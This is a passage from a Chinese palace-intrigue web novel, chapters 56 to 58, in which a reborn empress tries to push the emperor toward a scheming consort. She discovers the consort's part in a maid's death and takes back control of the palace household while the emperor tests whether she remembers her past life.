“朕当然愿意教贵妃骑马,就用这匹马,你上来!”皇帝徒手将李檀搀扶上马,回首又狠狠看了郁稚一眼,而后他也翻身上马,带着李檀在校场策马奔腾。 李檀猝不及防,一双手不知该放在何处,最后仓皇间握住了男人粗壮有力的手臂,他小臂的肌肤滚烫,他额间的汗水洒落在她脖间。 她来校场前没想到今日还有这样奇遇!! 皇帝带着李檀在校场里骑马奔走了好几圈,眼神再去寻廊下席间那个身影,萧歧只见到几个宫女,皇后早已经离开了。 萧歧突然下马,李檀身后空了,摇晃着惊呼,“陛下,臣妾害怕” 他将缰绳塞到她手心,“拉紧缰绳,夹住马腹。” 李檀心中惊喜,皇帝真愿意教她骑马,等她学会就能随他去秋猎了! 郁稚回未央宫,命小厨房准备几样清淡小菜就成,她预备用完膳就午憩。 片刻之后,芍药进殿,“回禀皇后,陛下说他午膳不来未央宫了,要去贵妃宫里。” “知道了,我本就没让小厨房预备他的午膳。” 芍药忍无可忍,“皇后娘娘好奇怪,为何要让陛下教贵妃骑马?贵妃已经掌着凤印了,若再叫她得圣宠,那我们未央宫、” 郁稚:“哎呀你不懂,我自有谋划、”她不在意地摆摆手,让芍药退下。 皇帝很好,他什么都好,俊美非凡,不论是行军布阵还是治理朝政都很出色,他会是一位盛世明君,贵妃也很好,她能力卓越、忠诚正直,唯独她这个皇后不好,她太碍事了。 郁稚轻轻靠在软枕上,不禁去想校场上,萧歧挥洒汗水驯马的模样,真的很让人心动 *** 午间,皇帝仍进御书房处理政务。 前去未央宫传话的太监回来了,皇帝问话,“皇后怎么说?” 小太监道,“奴才没瞧见皇后,只是告诉了芍药姑娘一声。临走时正恰逢未央宫传菜,听说皇后本就没吩咐御厨备陛下的午膳。” “朕知道了,你下去吧。” 原来就没命未央宫备他的膳?! 好,很好! “回来,去未央宫传话,吩咐皇后过来伺候朕午膳。” 啊?小太监微微一愣,不知主子闹得是哪一出?这顶热的天,折腾皇后娘娘做什么呢?她的身子本就柔弱。 太监:“那陛下还去悠然宫用膳么?” 皇帝眼神横过去,小太监就立马住口了。 萧歧一个箭步夺门而出,他亲自去未央宫! 郁稚午膳只吃了几口腌制的爽口白萝卜,而后就去内室午憩,不用读书写字的午后真的很惬意未过多时她酣然入睡。 她从前觉得皇帝很粗犷很凶悍,厌恶他骑马之后不沐浴就来未央宫,可是今日浑然不这么想了,阳光下他挥洒汗水的样子实在是太让人迷人了。 若他能入梦就好了。 静谧的室内,脚步声阵阵逼近,男人一身骑服还未换下,粗鲁地将榻上已经沐浴更衣的人拉扯起来。 郁稚惊醒过来,男人正一脸怒意,额间的汗水都还未擦去,居高临下地望着她。 “陛下?” 他此时不应该在悠然宫用膳么?怎么过来了 “你究竟意欲何为?!”他怒而质问道。 “陛下,什么意思?”郁稚困倦,浅眠被人惊醒,整个人显得纤柔懵然。 “你别把朕是傻子!!”他这雷霆万钧的模样,与上一世一般无二。 若说昨日皇后让贵妃留下用午膳,萧歧只是怀疑,但她今日又主动要他教贵妃骑马,目的很明显了! “你把朕推向别人身边?!” 萧歧:“就因为你久久不孕?你需要一个皇嗣来巩固你皇后宝座,所以要借贵妃之腹来生这个孩子,是不是这样?!” 他太了解她骨子里是个怎么样的人了!自私自利、卑劣可恶! 郁稚:“” 萧歧目光汹涌,气息跌宕,“皇后这样处心积虑谋划,就不怕反被聪明误么?” 郁稚渐渐清醒,原来皇帝是这样想她的。 郁稚:“不是的臣妾只是觉得贵妃很爱慕陛下,她每日来御书房禀告宫务,其实真实目的不过是来看陛下一眼罢了。” “皇后想说你是在帮贵妃的忙?”萧歧笑了,“郁稚,你没有这么好心。” “我、”郁稚欲言又止,皇帝确实该这么想她。 “被朕说中了?你的心思?你只是为了借腹生子,好巩固你皇后的地位是么?” “不是的臣妾是真希望陛下可以去悠然宫,李檀她很好、” 郁稚不确定皇帝知不知道,上一世那封告密信是李檀冒着生命危险送出去的,应该不知道,否则他怎么可能不封李檀为皇后。 萧歧更用力地捏着她手腕。 “好啊!”他将她提到面前,切齿道,“既然皇后如此贤惠,那朕就如你所愿,多去悠然宫陪贵妃!” 第56章 第 56 章 承认吧,你会嫉妒 萧歧这一次离开, 就真再未来踏足未央宫一步。 郁稚再不必去御书房读书写字,她也有工夫冷静下来好好整理思绪。 首先皇帝与李檀皆有前世记忆,所以这一世她的父兄无法兴风作浪,姐姐郁微也如上一世远嫁去幽州。 还有戚离, 今年有科考, 算算时间她也应该与戚离相见了, 皇帝必定对戚离必定痛下杀手, 她必需要阻止戚离科考,并且不能叫皇帝发觉。 郁稚设法拿到科考名单, 可一番查看, 竟没有叫戚离的人。不可能呐,戚离明明是在这一届高中进士,只是为官之后被人排挤、不受重用罢了。 “纯儿呢?”郁稚又想起来一人。 芍药道,“禀告皇后,不知怎么的嬷嬷没将她派来我们未央宫,而是派去行宫洒扫了。” 上一世郁稚得知父兄谋划弑君夺位, 她派未央宫的纯儿去给李檀通风报信,如此忠君的宫女, 这一世也应被厚待。 芍药:“不急, 待到秋猎, 我与纯儿就能见面了, 到时候皇后随口一句就能将她带回皇宫。” 确实不急,行宫可比宫里头逍遥自在多了,说不定纯儿乐不思蜀了。 *** 皇帝在校场教贵妃骑马的事传得人尽皆知,御史台还上疏劝皇帝莫要专宠,既有御史台亲自盖章,这一来二去, 李檀就被传成了宠妃。 皇帝各色赏赐源源不断地入悠然宫,譬如江南新运来皇城的织锦绫罗,番邦进贡的宝石香料,先紧着悠然宫先挑,挑剩下的再送去各宫,惹的其他妃嫔怨声不断。 丽美人与绮美人皆入宫甚久,这两日总来郁稚跟前抱怨。 “贵妃每日都去御书房,明面上说禀告宫务,实则就是卡着午膳时辰,陛下宽容,见天热就留她下来用午膳。” “就是,贵妃如今替娘娘掌凤印也就罢了,名不正言不顺的。还这样贪心,御书房是处理政务的地方、” “陛下还命绣房的宫女皆停下手上的活计,先给贵妃制秋衣,皇后想想,嫔妾们该多委屈啊” 两位美人巧舌如簧,将皇帝的宠爱大肆描绘渲染,把李檀说成妖精宠妃 郁稚听着,神情尴尬。看来上一世,她们也是如此在背后说道她这位皇后的。 送走两位美人之后,郁稚想起来一件事,那件烟紫色绣金凤袍还在衣柜里搁着呢,于是命芍药带上衣袍去悠然宫。 凤印已经给了李檀,凤袍也应该给她,如此自己到时候能毫无顾虑地离开皇宫。 午后,太监们正翻腾悠然宫的院子,原来江南送来许多株名贵杜鹃花,皇帝尽赏给悠然宫。 郁稚到时,李檀正在看书。 郁稚道明来意,“这件凤袍贵重,既然陛下给了贵妃,贵妃就安心收下。” 李檀神情复杂,她当时的目的并非真送衣袍,而是要送刀,只是皇后竟然没有重蹈覆辙,白白少了那么一出精彩好戏。 李檀拂了裙摆跪下,“凤袍是专属皇后,陛下厚爱赐给臣妾凤袍,臣妾却不敢逾矩,还请皇后收回。” 郁稚:“无妨,贵妃贤能,既有能力掌着凤印,也受得起这御赐的风袍。” 殿外廊下的脚步声越来越清晰。 李檀忽得伏地哭诉道,“这件凤袍臣妾万万不敢穿!!不过是因为皇帝赏赐,所以不敢不收,若皇后娘娘实在容不得” 皇帝踏入寝宫时正好瞧见这一幕,不止皇帝,身后跟着的宫女太监们都瞧见了。 皇后端坐椅榻,贵妃则楚楚可怜跪在她足边,哭得梨花带雨,皇后手边放置着一件华丽凤袍,宫女们认出来那是皇帝赏给贵妃的 所以事情真相一目了然,皇后是上门兴师问罪刁难贵妃来了! 按照规矩贵妃确实没有资格着凤袍,可那是陛下御赐,再加上贵妃掌管后宫,皇后这一招反而显得她小肚鸡肠。 “怎么回事?”萧歧横眉冷对。 李檀哭诉道:“禀告陛下,皇后前来问罪臣妾,训斥臣妾私藏凤袍,臣妾已经解释是陛下御赐,皇后不信” 郁稚惊愕得立在原地,李檀她怎么、怎么、 郁稚:“臣妾没有,臣妾不过是来送还这件凤袍。” 宫女小喜道,“这件凤袍本就在我们悠然宫,皇后娘娘怎么胡说呢?!” 殿内众人都用匪夷所思的目光看着郁稚,皇后真的太荒唐了,贵妃得宠,她心生嫉妒,但也不能用这拙劣的招数来刁难贵妃!! 男人的眼神巡视,落在那件凤袍上。 没错,上一世的郁稚就是这样,仗着他的宠爱横行霸道,将其他妃嫔都压得死死的。 “臣妾真的没有训斥贵妃,臣妾只是、”郁稚委屈极了,百口莫辩,她真的想撮合萧歧与李檀,她没有嫉妒,真的没有! 萧歧:“你少在外给朕丢人现眼!跟朕过来!” 郁稚被带到御书房,她两世都没有受过这样大的委屈!! “臣妾没有想要那件凤袍,明明是贵妃前头派人送来未央宫,我不过是再送还回去!” 萧歧怒合上殿门,强势地立在她面前,“不过几日就忍不住了?皇后?”他唇角似笑非笑,既恼火又盛气凌人。 郁稚不明白他到底生不生气,还是看她笑话嘲讽她? “什么忍不住,臣妾不明白!臣妾只知道自己是清白的!我没有欺负李檀!” “你不是大度地说,要朕多去悠然宫陪陪贵妃么?朕不过宠她几日,皇后就吃醋了?还敢命贵妃跪下?”萧歧字字笃定,不同于在悠然宫的怒意,他眉宇间是兴奋是痛快是暗爽,仿佛抓住了她什么把柄! “谁稀罕一件凤袍,谁稀罕你的宠爱!”郁稚真的被逼疯了,她受不了这样天大的冤枉! “萧歧,我与从前不同了,荣华富贵我真不想要!我说了那件凤袍是李檀之前送来未央宫的,今日只是送还回去!既然是你赐给别人的东西,我才不要!我不知李檀为何那样冤枉我,但我也不在乎,我只是想你知道,我不嫉妒,我不吃醋,看到你与贵妃琴瑟和鸣,我也为你们高兴!!” 她语气那样笃定,眼神那样坚毅。男人无声地立在原地,神情凛冽如风雪。 郁稚真想离开皇宫,今日就离开,再不回来。 她是重活一世、悔悟了的人,权势富贵全拥有过,她今世想换个活法!没有勾心斗角,没有谋划算计! “臣妾告退!” “你给朕站住!”萧歧切齿道,伸手揪住她的后颈,“一件衣袍罢了,不要再说了。你多久没来御书房读书?课业全都荒废了!” 萧歧:“去坐下练字!” “我不想练!”郁稚还是觉得很委屈。 萧歧:“容不得你想还是不想,坐下!练字!” 她一身的反骨,萧歧想不到这世上除了他还有谁能按得住她。 不情不愿地练了会儿字,礼部尚书前来觐见禀告入秋之后科考之事。 皇帝听得仔细,最后礼部尚书递上了名录,“各地考生统共两万九千七百八十四名,礼部皆已经审核通过,还请陛下过目。” 郁稚笔尖缓缓停下,伸手去蘸墨汁。所以这一本名录才是最准确的,她要看看里面有没有戚离的名字,可是皇帝应该不会允许她翻看。 “其中有没有一个考生,名叫戚离?”皇帝忽得开口询问。 啪嗒--郁稚手中的笔杆顿时断成两节,砚台中的墨飞溅起来,落在她额间。 礼部尚书:“皇后娘娘保重凤体!” 皇帝侧眸看过来,郁稚心慌意乱,自己会不会露馅了?! “皇后无碍吧?”男人幽幽问道,目光极其复杂。 郁稚摇摇头,用帕子擦拭墨汁。 礼部尚书这才继续回答,“回禀陛下,因陛下上次问过臣,臣这一次亲自彻查,没有人叫戚离。有那么几个姓戚的考生,但年纪都已过四十。” 大臣退下之后,皇帝亲自翻看,确实没有一个叫戚离的,他指尖摩挲着纸页,口中轻喃,“没有么” 郁稚埋头写字,心脏乱跳不止,皇帝果然在寻找戚离!!上一世戚离地位堪比丞相,受她庇护,是她最青睐最器重的臣子,皇帝怎么可能放过他 然而其实戚离也很可怜。 黄昏时分,悠然宫派人来御书房问皇帝今夜过去用晚膳。 萧歧瞥了眼身边认真写字的少女,然而告诉传话宫女,“朕今夜不但会过去用晚膳,还会留宿。” 郁稚笔尖顿了顿,而后继续写字。 悠然宫的宫女欢欢喜喜地回去复命了。 “臣妾写完了,陛下过目,臣妾先回未央宫。” “不急,我们夫妻二人也有许多日没有好好说话了。”萧歧气定神闲,“朕去悠然宫留宿,皇后也不吃醋吧,毕竟是你要朕多去后宫。” 郁稚笑笑,“臣妾不是小肚鸡肠的人,臣妾不吃醋。” “说起来,这也是朕初次与其他妃嫔亲近,不知是何滋味。” 啊?郁稚惊愕地无以复加,所以说、所以说上一世他也、不是吧萧歧这么纯情?他远在边疆时不是有很多流言蜚语么,什么舞姬夜夜在帐中 这就显得她上一世更不是个东西了。 难怪他没有子嗣。 他真这么纯情?一瞬间几百个念头在郁稚脑中飞过。 “不像啊”郁稚嘀咕。新婚那夜他明明就很所以真有人无师自通? “你什么意思?!”皇帝语气顿时狠厉。 “没有、臣妾没什么意思!”郁稚死死抿住唇 郁稚将笔墨都整理好,溜之大吉。 真晦气,明明是去送凤袍的,竟然被泼脏水还被皇帝揪到御书房练字!! 一回到未央宫,宫女们神情古怪,“皇后娘娘芍药她” 芍药在房里哭得晕过去几回,她听说皇后回来,哭着前来禀告,“皇后娘娘,纯儿死了!!奴婢思念纯儿,托侍卫给纯儿捎个口信,说我们秋猎就能见面了。结果、结果、从行宫回来的侍卫告诉奴婢,纯儿在去行宫的路上就病死了。我又去问嬷嬷,嬷嬷说她真是病死的,好端端的人怎么就病死了呢!” “后来我又去查,才知道她去行宫前,嬷嬷塞给她几块点心叫她在路上吃。” “那个嬷嬷从不这么好心的!她是贵妃的人!” “也是贵妃亲自下令将纯儿派去行宫!那么多宫女就她一人去行宫!” “嬷嬷还特意禀告过贵妃,纯儿是我妹妹!” “哪怕贵妃不肯派她来未央宫,也不该杀她,她还那样年轻!!” 芍药哭得肝肠寸断,所有证据表面是贵妃杀了纯儿。 郁稚叫人扶芍药下去休息,她坐在凤榻上。李檀究竟为何要这样,她肯定知道纯儿就是上一世传信的宫女,为何要杀她?难道不该嘉奖她么?! 思前想去,只有一个可能,李檀知道纯儿是她宫里的人,也知道了上一世是她要救皇帝! 若纯儿死了,那这份功劳就永永远远记在她李檀账上了!! 郁稚怒火中烧,李檀她根本不配,不配做皇后!为何这样恶毒! 郁稚好想大哭一场,怎么会这样,上一世的有功劳的人,怎么会落得如此下场?! 李檀!!她好恨啊!! 上一世她没有苛待后宫的妃嫔,更没有苛待过李檀,只要她们对她俯首称臣,就可以一直享受荣华富贵 李檀究竟为何?!! 郁稚无处发泄,只有一次一次摔碎内室的花瓶玉器摆件,她明明都要离开了,安置好纯儿、戚离没出现、皇帝与李檀在一起之后,她都准备永远离开皇宫了!! 为什么纯儿死了?都是因为她,她不该让纯儿去送信的!! 这一世她没有害人了,怎么却还有人因她而死!! 郁稚狼狈地跌坐在一地碎瓷片之中,手也划伤了,头发也散了她做什么都无济于事了,纯儿救不回来了 “不是你要朕去贵妃寝宫的么?怎么又闹这一出?” 幽幽的声音从幕帘之后想起,男人撩开幕帘。 郁稚泪流满面地抬起头,她狼狈地擦干眼泪,她不能让萧歧察觉异样、她、 “陛下不是应该去悠然宫用晚膳了么?” 萧歧缓缓走近,“朕是要过去,只是顺便来未央宫瞧瞧。”岂料一来就瞧见这副光景。 “所以皇后承认吧,你没有容人之量,你会嫉妒。” 内室一片狼藉,她也这样狼狈,手都被划伤了,泪水不住地落 “过来。”皇帝朝她伸手。 所以他以为她这样疯魔是因为吃醋嫉妒?若是上一世的郁稚,知道他要去宠幸其他妃嫔,或许会这样歇斯底里。 “请陛下离开吧”郁稚只想嚎啕痛哭一场。 若换做从前,她要他离开,皇帝必定要发疯,可今日他没有。 “你把自己伤成这样,要朕怎么离开?” 第57章 第 57 章 别让朕知道你在伪装 内室一地碎瓷片, 萧歧有些头疼,恍若回到上一世,她一发脾气就将自己关在寝宫里,乱砸一通内室的玉器摆件。 太任性了。 皇帝扶她坐起, 发现她胳膊上腿上都被碎瓷片划出一道道小伤口。 “不是你要朕去悠然宫的么?怎么又自己发脾气?”他又问一遍。 郁稚伤心极了, 这一切都是她的过错她早该想到李檀是那样的人是她害了纯儿 “不用你管!你走!”郁稚泪流满面, 狠狠推开他, 她自己很混乱,都不知该如何是好。 这是她今夜第二次叫他离开。 萧歧也不是好脾气的人, 站起身神情倨傲, “怪朕对你太好,宠得你不知天高地厚!!是朕有错!!” 这话对上一世的郁稚说更为妥帖。 此时外头宫人禀告,“陛下,悠然宫派人来问,陛下何时过去?” 来得正好,萧歧也不愿意再待在这儿, 此时此刻的郁稚,叫他回忆起上一世的最后, 夫妻二人在未央宫争吵不休!她无理取闹, 一次又一次地伤人! 外头传来贵妃宫女的声音, “禀告陛下, 贵妃娘娘已经备好了晚膳。” 萧歧侧首看她一眼,眼神不屑,拂袖就要走。 然而下一瞬身后之人就攥住了他的袖口,她狼狈不堪,满面泪水,手上胳膊上尽是伤口, 就这么如同揪住最后的救命稻草,企图留住他。 二人气息焦灼,眼神执拗。 “你究竟是什么意思?!”男人狠声低语。 皇帝觉得自己已经对她很有耐心了,她是这样顽劣难教之人,重活一世的郁稚,也不比上一世的郁后好几分! 他回到她面前,“你想朕过去么?” 萧歧:“想还是不想,朕要你亲口说。” 郁稚可以肯定一件事,她此时不能将萧歧推向李檀!纯儿的死极有可能与李檀有关! 她捏着他的衣袍,死死咬着牙关,就是说不出让他留下的话。 然而她这样的脆弱可怜,萧歧自认自己的心性比上一世好一些了,况且她才十七岁,他二十七岁的身躯,三十多的灵魂,年长她许多。于是他轻轻拍开她的手,“你受伤了,朕替你上了药再过去。” 他随口一句,就挥散了凝滞的气氛。 他取来药膏替她上药,少女胳膊上腿上全是细小划痕。 “怎么把自己弄成这样?若是留疤可怎么好?” 郁稚思绪很乱,她无力地轻轻侧首靠在皇帝胸膛上,她要好好想一想,接下来该怎么办? 早已经过了晚膳的时辰,皇帝依旧没有离开。 “你不走么?”郁稚目光怔忡,整个人已经无力再思考。 萧歧瞧着她,其实两世他都看不透,她怎么忽然就发脾气了。 他微微垂首去亲吻她唇角,郁稚躲开了,“今日是我母亲的忌日。” 萧歧才不可怜她,“所以你就觉得自己可以胡乱发脾气么?” 郁稚:“” 然而皇帝终究没有对她做什么 郁稚私下彻查纯儿之事,她的死因真与李檀有千丝万缕的关系! 李檀自以为做得神不知鬼不觉,旁人怎么想到堂堂贵妃会暗杀一个初入宫的宫女。她不知,郁稚已恢复前世的记忆。 可惜贵妃杀死宫女,这一事不足以治罪。 然而经由此事,郁稚可以肯定,凤印不能落在李檀手中,她要将凤印夺回来! 这就要借助鲁国公府的势力了。 *** 月末之时,鲁国公弹劾贵妃李氏,整整上百项罪名,证据确凿,其中最为严重的是滥用职权为族中兄弟谋官职!特别是那几位来内务府任职的族兄,大肆敛财!无法无天! 常年盘踞皇城的李氏家族早已经人才凋零,但自从李檀封贵妃掌凤印,短短不到一年,族亲们也各个鸡犬升天,李府门前车水马龙,来往的都是富贵人家!! 郁稚太明白了,李檀的处境其实与当初的她很像,太像了,忽得泼天富贵,哪怕自己行得正,外人一箱箱金银珠宝、翡翠玛瑙往李府送,送江南的瘦马各地的花魁清苦了大半辈子的李氏族亲们一个个的哪里受得住那样的诱惑! 萧歧其实已经有所耳闻,原打算警醒贵妃,没想到鲁国公先按耐不住了。 鲁国公府,上一世助纣为虐。这一世皇后无权,故而他们还未兴风作浪,萧歧不急,等他们冒头,若是不冒头,萧歧不介意继续用他们,毕竟鲁国公府的子弟才能都出众。 李檀倒是真慌了!她没料到鲁国公会在朝堂上弹劾她! 晌午得到消息急匆匆来御书房请罪!! “臣妾久居深宫,没想到臣妾的族兄竟然干出假公济私敛财之事,臣妾恳请陛下重重责罚!”三言两语先把自己摘干净了。 皇帝:“难道不是贵妃你默认之下,你的族兄弟们才能在内务府胡作非为么?” 李檀:“臣妾实在不知情、” “你想走郁后的老路么?” 萧歧轻描淡写的恶应,李檀脊背一阵恶寒,不,不是,皇帝怎么能这么想她,若因为郁后前车之鉴,皇帝就对她重罚,那她可太冤枉了! “臣妾不是郁后!臣妾对陛下忠心耿耿!” 直至午时,郁稚来御书房练字,瞧见李檀狼狈从里头出来,看来她的央求并没有用,皇帝必定重罚。 “贵妃,不留下用午膳么?”郁稚故作不知情。 李檀狠狠瞪她一眼!郁后究竟意欲何为?!是不是要将凤印夺回去?! 两人擦肩而过,李檀下定决心,她是不会退让的,妖后就是妖后,早就该死在未央宫那场大火里了!! 郁稚一身云淡风轻。 “今日怎么来得这样晚?可是又偷懒不肯练字了?”皇帝数落道。 郁稚:“臣妾听闻父亲今日在朝堂上弹劾贵妃,臣妾怕来御书房正好撞见贵妃,没想到还是不能避开。” 皇帝:“你父亲弹劾贵妃,你心虚什么?” 郁稚眼神清澈,“臣妾也不知原因,这段时日还是避开为好。陛下没瞧见,贵妃方才瞪臣妾的眼神好可怕。” 男人嗤之以鼻,“若非你不肯管理宫务,哪能叫贵妃专权,她的族兄们又怎么可能在内务府敛财呢?” 皇帝这话,说到了点子上。 “那这样吧,陛下,臣妾这一年以来识字颇多,要不臣妾帮着贵妃分担宫务?” 萧歧觉得早该如此了,其实李檀的能力并不出众,光给宫人置办衣裳这事就办得很不漂亮。 “往后内务府的事不许贵妃插手,都有你来管着。”皇帝瞧了瞧郁稚,这妖后上一世虽然可恶,但不可否认能力还是不错的。 “但你若敢借此机会提拔你郁家的人,看朕怎么罚你。”皇帝眼神幽幽。 若是鲁国公府的人因此而有任何行差踏错,他也找到了发落的由头。 “臣妾试试看,有什么不会的,臣妾都可以来问陛下吧?” “可以。” 事情太顺利了,内务府的权力一旦到她手里,那其实李檀手中的权力所剩无几了。郁稚不会蠢到用郁家的人,这一回她要从宗室子弟中选一些能力出众的! 接下来一段时日,李檀忙得焦头烂额,大刀阔斧地整治自家人,皇帝最忌讳外戚,她必须叫皇帝满意处置结果! 然而回过头来发现,皇帝已经不信任她了,甚至云淡风轻地命她不要再烦恼内务府的事,那些事务皇后自会接手。 李檀快气疯了! 皇后究竟意欲何为?!! 宫女小喜提醒道,“难道是纯儿的事叫皇后发现了?” 发现了?李檀仔细思索,皇后认识纯儿么?纯儿不过是芍药的妹妹而已,哪怕皇后知道真相,难道还要为那宫女报仇不成? 除非皇后她、皇后她一直在装傻?难道她有存有上一世的记忆? 可前头她那样蠢,将权力拱手让人,不,不会是郁后,郁后那样心狠手辣,若是她回来了,自己早已经被她挫骨扬灰了! 主仆二人说着话,外头禀告说皇后派人来了。 芍药亲自过来,进殿行礼,“禀告贵妃,皇后娘娘命我来取凤印。” 李檀惊愕,难道皇帝要夺走她的凤印,“本宫可没收到陛下口谕、” 芍药:“贵妃娘娘别心急,皇后要处理内务府的事,需用凤印,今日用完再给贵妃送回来。” 这有理有据,李檀没有拒绝的权力。 李檀打起精神,她不能不战而败,先静静观望皇后再想计策。妖后上一世所作所为是板上钉钉的,哪怕皇帝给了她一些权力,也不可能如上一世那般纵容!! 说到底她李檀在皇帝心中,依旧是唯一忠诚的妃嫔!至于未央宫那个女人是不是妖后,她还需要试探试探。 李檀吩咐道,“既然皇后要用,小喜,取出凤印,本宫亲自给皇后送去。” 郁稚在翻看内务府的账册,混账东西,上一世她虽然任用郁家的人,也没有中饱私囊那么多财物,李家的人眼皮子可真浅。 李檀进殿行礼,“参见皇后娘娘。” 座上的皇后温柔清纯,面庞绝美,眉宇间毫无戾气,完全没有上一世郁后的气势,她不是郁后!不过是因为前几日的事心存忌恨罢了。 “贵妃快起身。”郁稚亲手扶她,“怎能劳烦贵妃亲自送来。” 李檀:“我族兄犯了错,陛下做此决定无可厚非,只是要劳烦皇后娘娘了,内务府的事繁杂,若皇后有不懂的,尽管来问臣妾。” 郁稚笑着谢她,“这原本是我的分内之事,贵妃替我管着,是我谢你。” 李檀:“对了,前头有一件事忘记禀告皇后。有个新进宫的小宫女病死了,臣妾见她蠢笨,将她派去行宫洒扫,皇后也知道行宫那等地方,没宫里严苛,也算是她的福气。岂料她命薄,病死在了路上” 李檀一边说一边观察皇后的神情,说到命薄二字,皇后眼底浮现一丝怒意,李檀捕捉到了,这样的眼神,她曾经郁后脸上见过一回。 李檀:“臣妾想着给她家里几两银子以作安抚。” 郁稚咬牙忍了忍,“嬷嬷不是告诉你纯儿是芍药的妹妹,贵妃为何不许她来未央宫?” 李檀微微诧异,这语气这神态,真的与上一世郁后很相似。 李檀故意激怒道,“嬷嬷确实说过,但臣妾事忙忘记了,事后想起来,那宫女已经死了。天生短命,臣妾也没有法子。” 李檀:“怎么?皇后很在意一个宫女的命么?” 郁稚:“难怪陛下要斥责贵妃,宫女太监虽是奴婢,但人命贵重,岂能说不在意呢?” 李檀低声反问,“皇后有资格说这样的话?” 郁稚此时反应过来,李檀这是在试探自己!!! 李檀笑着行礼,“凤印送到了,臣妾告退。” 有那么一点蛛丝马迹,她不敢肯定!能轻而易举地将管理内务府的权力从她手中夺走,十七岁的郁后不可能办得到! 不管她是不是郁后,李檀决定还是得去提醒皇帝。其实她若是郁后那就更好了,看皇帝会不会放过她!! 横竖已是这样的局面,她豁出去也要弄死这妖后! 李檀亲自炖了鱼汤去御书房,既然不叫她管理内务府,那她也有更多时间亲近皇帝,水滴石穿,不急,毕竟上一世的皇帝被妖后那样伤害过。 对于李家人的处置结果,皇帝还是很满意的。鱼汤鲜美,萧歧多吃了几口。毕竟是上一世冒险送信之人,萧歧不想苛待李檀,只要她不兴风作浪,一世的荣华富贵那是板上钉钉的。 李檀:“禀告陛下,皇后今日取走了凤印。” 萧歧抬眸,这件事,皇后倒是事先没有禀告。 李檀:“臣妾想着皇后掌管内务府,她确实该收回凤印。只是陛下不觉得皇后与从前不同了么?” 从一开始的蠢笨不识字到如今这模样,方才与皇后讲话,李檀表面很冷静,实则她能感受到郁后的气势,只是皇后那清纯的模样过于欺人。 皇帝搁下筷子,“皇后确实与从前不同了。从前她嚣张跋扈、耀武扬威,如今还算乖顺。贵妃还有什么要说的么?” 李檀才不是这个意思!! 她起身收拾碗筷,“若臣妾是郁后,有朝一日想起从前的事,臣妾也会装得清纯无辜,隐藏起来以求保命。毕竟陛下如此宽容仁慈!” 李檀丢下这话离开后,皇帝静静地靠在御座上。 记起前世?隐藏起来? 她会这样做么?当然会这样做,郁后太聪明了,她知道若暴露自己,他一定会第一时间将她挫骨扬灰!! 不,未央宫的那个人,绝对没有记起前世,她清纯可爱、心思单纯、贪吃贪玩、有些任性娇纵,但与上一世的任性不是一个样的。 李檀故意说这些来搅得他心神不宁,萧歧有些恼火,然而经历过前世,他终究养成了多疑的性子,哪怕有一丁点可能性,他也要去试探。 “郁稚,别让朕知道你在伪装” 第58章 第 58 章 试探 今日郁稚照常来御书房, 一是要练字,二则是处理繁重宫务。 夫妻二人互不干扰,只有偶尔郁稚字写错了,皇帝才会分神提醒一二, 未过多时礼部尚书求见。 “禀告陛下, 那个名叫戚离的考生来皇城了。” 什么?! 郁稚握紧笔杆, 下意识地要看向皇帝, 但她心想不对,自己这样太容易暴露, 别到时候救不下戚离, 自己先道折进去了。 礼部尚书,“这考生赶考路上病了多日,这才迟到,如今就住在城外驿站,不知陛下可要宣他进宫?” 皇帝眼角余光瞥向身边的少女,“不必了, 朕只是听闻他才华了得,既然来了, 那总有见面的那一日, 若他见不了朕, 那也意味着他也不过如此。” 郁稚笔尖轻柔, 自始至终都毫无破绽,皇帝命礼部尚书退下。 “练了多时了,停下歇歇吧。”皇帝温柔道,“那件凤袍朕再命人送几块你喜欢的紫色衣料,替你绣几身凤袍可好?” 郁稚笑着搁下笔,“臣妾的衣裳够多了, 陛下不必费心。只是为何必需是紫色?” 皇帝反问:“朕记得皇后偏爱紫色。” “陛下必定记错了,紫色虽好,臣妾却不是最喜欢的。” 紫色历来是皇家偏爱的颜色,然而上一世郁稚也是到后来几年才着紫色,紫色凤袍显得她严肃端庄,实则她内心并不是那么喜欢。 皇帝目光流连在少女纯真面庞,“是这样么?那是朕记错了。” 郁稚歪歪脑袋,“不会是那个女子偏好紫色,故而陛下才记错了?” “朕、” “如今陪在陛下身边的是臣妾,陛下偶尔也要顾及臣妾的感受,你若再时不时提起那女子,臣妾可真要吃醋了。”少女娇嗔道,一双眉目却不含一丝妒意,像是在逗弄男人。 皇帝张了张口,郁稚又打断道,“陛下是更喜欢臣妾,还是更喜欢那个女子。” 她三言两语,就将人的思绪带偏了。 萧歧严肃道,“皇后,不要这样。” 郁稚:“陛下怎么连说谎都不会,哪怕心中想的是那样,臣妾在你面前,你也哄哄臣妾。” 皇帝翻开奏疏,“继续练你的字,不要打扰朕处理政务,否则就是干政!” 少女垂眸写字,唇角笑意几乎压不住。她察觉到了,皇帝在试探她,自己绝对不会轻易露出破绽,毕竟是性命攸关之事!! 待殿内重新回归平静,男人眼角余光又留意着她,少女面庞瓷白沉静,乖巧可爱,怎么可能是郁后?!就凭方才那几句娇嗔任性的话,那坏脾气的郁后绝对不可能说出口! 但是上一世起初,瞿氏没有死时,她其实就是这样活泼的那个时候他带她去行宫,瞿氏没有跟着,她睁着一双水汪汪的大眼睛,拽着他的袖子问这问那的,令人不可控制地想更疼爱她几分。 午后宫人从御茶膳房送来糕点,七八碟小点心做得很是精致。 皇帝:“你给朕挑一碟点心,朕不爱食太甜的。” 最不甜的就是那碟元宝酥了,郁稚想伸手去取来送到皇帝面前,但一个念头叫一切戛然而止,若是她没记错的话,御茶膳房新择了几位江南御厨 所以这些点心全是新制的口味,皇帝在试探她!! 郁稚的手偏了偏,将一碟子蜜豆奶酥送到皇帝面前,“这个大约不太甜。”她用筷子夹了送到皇帝口中。 萧歧咬一口就皱眉了,“甜得发腻!” “啊?有这么甜么?臣妾随手选的。”她将剩下半块吃了,“哇,真的好甜,臣妾喜欢。” 余下的点心都没有这个蜜豆奶酥甜。 萧歧:“胡乱选的?” 郁稚悻悻然道,“这些点心这么精致,臣妾也是第一次尝,陛下要臣妾为你选一碟,臣妾就选了自己最不想吃的这一碟。” “你倒是孝顺!”男人嘲讽道,眉宇间却是舒展开来,若是她选对了那碟元宝酥,那才是真有问题! *** 下午郁稚收起字帖开始处理宫务。 当年都能掌控朝臣,这点子宫务在她眼里实在不够看,一项接着一项,其中有一项是关于中秋宫宴的,内务府要支九百两银子采买烟火,郁稚给驳了,因为上一世这年的中秋宫宴,皇帝正好凯旋,宫中大办中秋,烟火落下将东宫的两间宫殿烧了个精光。 